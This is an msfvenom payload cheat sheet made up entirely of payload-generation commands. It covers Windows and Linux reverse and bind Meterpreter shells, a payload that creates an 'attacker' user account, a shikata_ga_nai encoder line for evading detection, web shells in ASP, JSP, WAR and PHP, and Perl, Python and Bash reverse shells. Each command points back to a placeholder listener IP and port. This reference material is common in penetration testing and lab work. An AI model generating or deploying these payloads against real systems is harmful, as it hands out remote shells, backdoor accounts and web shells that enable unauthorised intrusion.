MSFVENOM

Windows Paylaods

Reverse Shell :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP) LPORT=(Port) -f exe > reverse.exe
```

Bind Shell:

```
msfvenom -p windows/meterpreter/bind_tcp RHOST= (IP) LPORT=(Port) -f exe > bind.exe
```

Create User:

```
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```

CMD shell:

```
msfvenom -p windows/shell/reverse_tcp LHOST=(IP) LPORT=(Port) -f exe > prompt.exe
```

Encoder:

```
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```

Linux Payloads

Reverse Shell:

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP) LPORT=(Port) -f elf > rev.elf
```

Bind Shell:

```
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP) LPORT=(Port) -f elf > bind.elf
```

Generic Shell:

```
msfvenom -p generic/shell_bind_tcp RHOST=(IP) LPORT=(Port) -f elf > term.elf
```

Web Based Payloads

ASP Reverse shell :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP) LPORT=() -f asp >reverse.asp
```

JSP Reverse shell:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP) LPORT=(Port) -f raw> reverse.jsp
```

WAR Reverse Shell:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP) LPORT=(Port) -f war > reverse.war
```

PHP

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php
```

Script Langauge payloads

Perl

```
msfvenom -p cmd/unix/reverse_perl LHOST=(IP) LPORT=(Port) -f raw > reverse.pl
```

Python

```
msfvenom -p cmd/unix/reverse_python LHOST=(IP) LPORT=(Port) -f raw > reverse.py
```

Bash

```
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh
```